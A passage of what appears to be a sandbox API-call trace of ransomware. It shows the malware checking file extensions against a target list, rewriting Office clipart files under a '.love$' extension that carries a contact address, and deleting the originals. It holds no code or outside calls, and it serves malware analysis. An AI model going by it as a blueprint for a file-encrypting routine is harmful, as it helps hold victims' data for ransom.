Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0258.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0258.264] lstrlenW (lpString=".doc") returned 4 [0258.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.264] lstrlenW (lpString=".docx") returned 5 [0258.264] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.264] lstrlenW (lpString=".pdf") returned 4 [0258.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.264] lstrlenW (lpString=".xls") returned 4 [0258.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.264] lstrlenW (lpString=".xlsx") returned 5 [0258.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.264] lstrlenW (lpString=".ppt") returned 4 [0258.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0258.264] lstrlenW (lpString=".zip") returned 4 [0258.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.264] lstrlenW (lpString=".rar") returned 4 [0258.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.264] lstrlenW (lpString=".bz2") returned 4 [0258.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.264] lstrlenW (lpString=".7z") returned 3 [0258.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0258.264] lstrlenW (lpString=".dbf") returned 4 [0258.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0258.265] lstrlenW (lpString=".1cd") returned 4 [0258.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0258.265] lstrlenW (lpString=".jpg") returned 4 [0258.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0258.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0258.265] lstrlenW (lpString=".doc") returned 4 [0258.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.265] lstrlenW (lpString=".docx") returned 5 [0258.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.265] lstrlenW (lpString=".pdf") returned 4 [0258.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.265] lstrlenW (lpString=".xls") returned 4 [0258.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.265] lstrlenW (lpString=".xlsx") returned 5 [0258.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.266] lstrlenW (lpString=".ppt") returned 4 [0258.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0258.266] lstrlenW (lpString=".zip") returned 4 [0258.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.266] lstrlenW (lpString=".rar") returned 4 [0258.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.266] lstrlenW (lpString=".bz2") returned 4 [0258.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.266] lstrlenW (lpString=".7z") returned 3 [0258.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0258.266] lstrlenW (lpString=".dbf") returned 4 [0258.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0258.267] lstrlenW (lpString=".1cd") returned 4 [0258.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0258.267] lstrlenW (lpString=".jpg") returned 4 [0258.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.267] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0258.267] lstrlenW (lpString="HH01759_.WMF") returned 12 [0258.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0258.269] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5414) returned 1 [0258.269] CloseHandle (hObject=0x4c8) returned 1 [0258.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220 [0258.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0258.271] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.271] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0258.540] GetLastError () returned 0x0 [0258.541] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1526, lpOverlapped=0x0) returned 1 [0259.420] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1530, lpOverlapped=0x0) returned 1 [0259.422] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0259.422] WriteFile (in: hFile=0x488, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0259.422] SetEndOfFile (hFile=0x488) returned 1 [0259.423] CloseHandle (hObject=0x488) returned 1 [0259.423] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.423] SetEndOfFile (hFile=0x4c8) returned 1 [0259.482] CloseHandle (hObject=0x4c8) returned 1 [0259.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0259.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0260.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0260.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0260.130] lstrlenW (lpString=".doc") returned 4 [0260.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.130] lstrlenW (lpString=".docx") returned 5 [0260.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.131] lstrlenW (lpString=".pdf") returned 4 [0260.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.131] lstrlenW (lpString=".xls") returned 4 [0260.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.131] lstrlenW (lpString=".xlsx") returned 5 [0260.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.131] lstrlenW (lpString=".ppt") returned 4 [0260.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0260.131] lstrlenW (lpString=".zip") returned 4 [0260.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.131] lstrlenW (lpString=".rar") returned 4 [0260.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.131] lstrlenW (lpString=".bz2") returned 4 [0260.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.131] lstrlenW (lpString=".7z") returned 3 [0260.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0260.131] lstrlenW (lpString=".dbf") returned 4 [0260.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0260.132] lstrlenW (lpString=".1cd") returned 4 [0260.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0260.132] lstrlenW (lpString=".jpg") returned 4 [0260.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0260.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0260.132] lstrlenW (lpString=".doc") returned 4 [0260.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.137] lstrlenW (lpString=".docx") returned 5 [0260.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.137] lstrlenW (lpString=".pdf") returned 4 [0260.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.137] lstrlenW (lpString=".xls") returned 4 [0260.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.138] lstrlenW (lpString=".xlsx") returned 5 [0260.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.138] lstrlenW (lpString=".ppt") returned 4 [0260.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0260.138] lstrlenW (lpString=".zip") returned 4 [0260.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.138] lstrlenW (lpString=".rar") returned 4 [0260.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.138] lstrlenW (lpString=".bz2") returned 4 [0260.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.138] lstrlenW (lpString=".7z") returned 3 [0260.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0260.138] lstrlenW (lpString=".dbf") returned 4 [0260.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0260.138] lstrlenW (lpString=".1cd") returned 4 [0260.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0260.138] lstrlenW (lpString=".jpg") returned 4 [0260.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.139] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.139] lstrlenW (lpString="HH02298_.WMF") returned 12 [0260.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0260.192] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5552) returned 1 [0260.192] CloseHandle (hObject=0x388) returned 1 [0260.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220 [0260.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0260.548] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.548] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0260.551] GetLastError () returned 0x0 [0260.551] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x15b0, lpOverlapped=0x0) returned 1 [0260.662] WriteFile (in: hFile=0x42c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x15c0, lpOverlapped=0x0) returned 1 [0260.663] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.663] WriteFile (in: hFile=0x42c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.663] SetEndOfFile (hFile=0x42c) returned 1 [0260.663] CloseHandle (hObject=0x42c) returned 1 [0260.664] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.664] SetEndOfFile (hFile=0x4c8) returned 1 [0260.668] CloseHandle (hObject=0x4c8) returned 1 [0260.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0260.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0260.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0260.756] lstrlenW (lpString=".doc") returned 4 [0260.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.756] lstrlenW (lpString=".docx") returned 5 [0260.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.756] lstrlenW (lpString=".pdf") returned 4 [0260.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.757] lstrlenW (lpString=".xls") returned 4 [0260.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.757] lstrlenW (lpString=".xlsx") returned 5 [0260.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.757] lstrlenW (lpString=".ppt") returned 4 [0260.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0260.757] lstrlenW (lpString=".zip") returned 4 [0260.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.757] lstrlenW (lpString=".rar") returned 4 [0260.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.757] lstrlenW (lpString=".bz2") returned 4 [0260.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.757] lstrlenW (lpString=".7z") returned 3 [0260.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0260.757] lstrlenW (lpString=".dbf") returned 4 [0260.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0260.757] lstrlenW (lpString=".1cd") returned 4 [0260.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0260.757] lstrlenW (lpString=".jpg") returned 4 [0260.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0260.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0260.758] lstrlenW (lpString=".doc") returned 4 [0260.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.758] lstrlenW (lpString=".docx") returned 5 [0260.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.758] lstrlenW (lpString=".pdf") returned 4 [0260.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.758] lstrlenW (lpString=".xls") returned 4 [0260.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.758] lstrlenW (lpString=".xlsx") returned 5 [0260.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.758] lstrlenW (lpString=".ppt") returned 4 [0260.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0260.758] lstrlenW (lpString=".zip") returned 4 [0260.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.758] lstrlenW (lpString=".rar") returned 4 [0260.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.758] lstrlenW (lpString=".bz2") returned 4 [0260.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.758] lstrlenW (lpString=".7z") returned 3 [0260.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0260.758] lstrlenW (lpString=".dbf") returned 4 [0260.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0260.758] lstrlenW (lpString=".1cd") returned 4 [0260.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0260.758] lstrlenW (lpString=".jpg") returned 4 [0260.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.759] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.759] lstrlenW (lpString="HM00172_.WMF") returned 12 [0260.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0260.760] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2832) returned 1 [0260.760] CloseHandle (hObject=0x56c) returned 1 [0260.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220 [0260.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0260.761] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.761] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0260.762] GetLastError () returned 0x0 [0260.762] ReadFile (in: hFile=0x56c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xb10, lpOverlapped=0x0) returned 1 [0260.773] WriteFile (in: hFile=0x53c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xb20, lpOverlapped=0x0) returned 1 [0260.774] ReadFile (in: hFile=0x56c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.774] WriteFile (in: hFile=0x53c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.774] SetEndOfFile (hFile=0x53c) returned 1 [0260.775] CloseHandle (hObject=0x53c) returned 1 [0260.775] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.775] SetEndOfFile (hFile=0x56c) returned 1 [0260.779] CloseHandle (hObject=0x56c) returned 1 [0260.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0260.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0260.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0260.781] lstrlenW (lpString=".doc") returned 4 [0260.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.781] lstrlenW (lpString=".docx") returned 5 [0260.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.781] 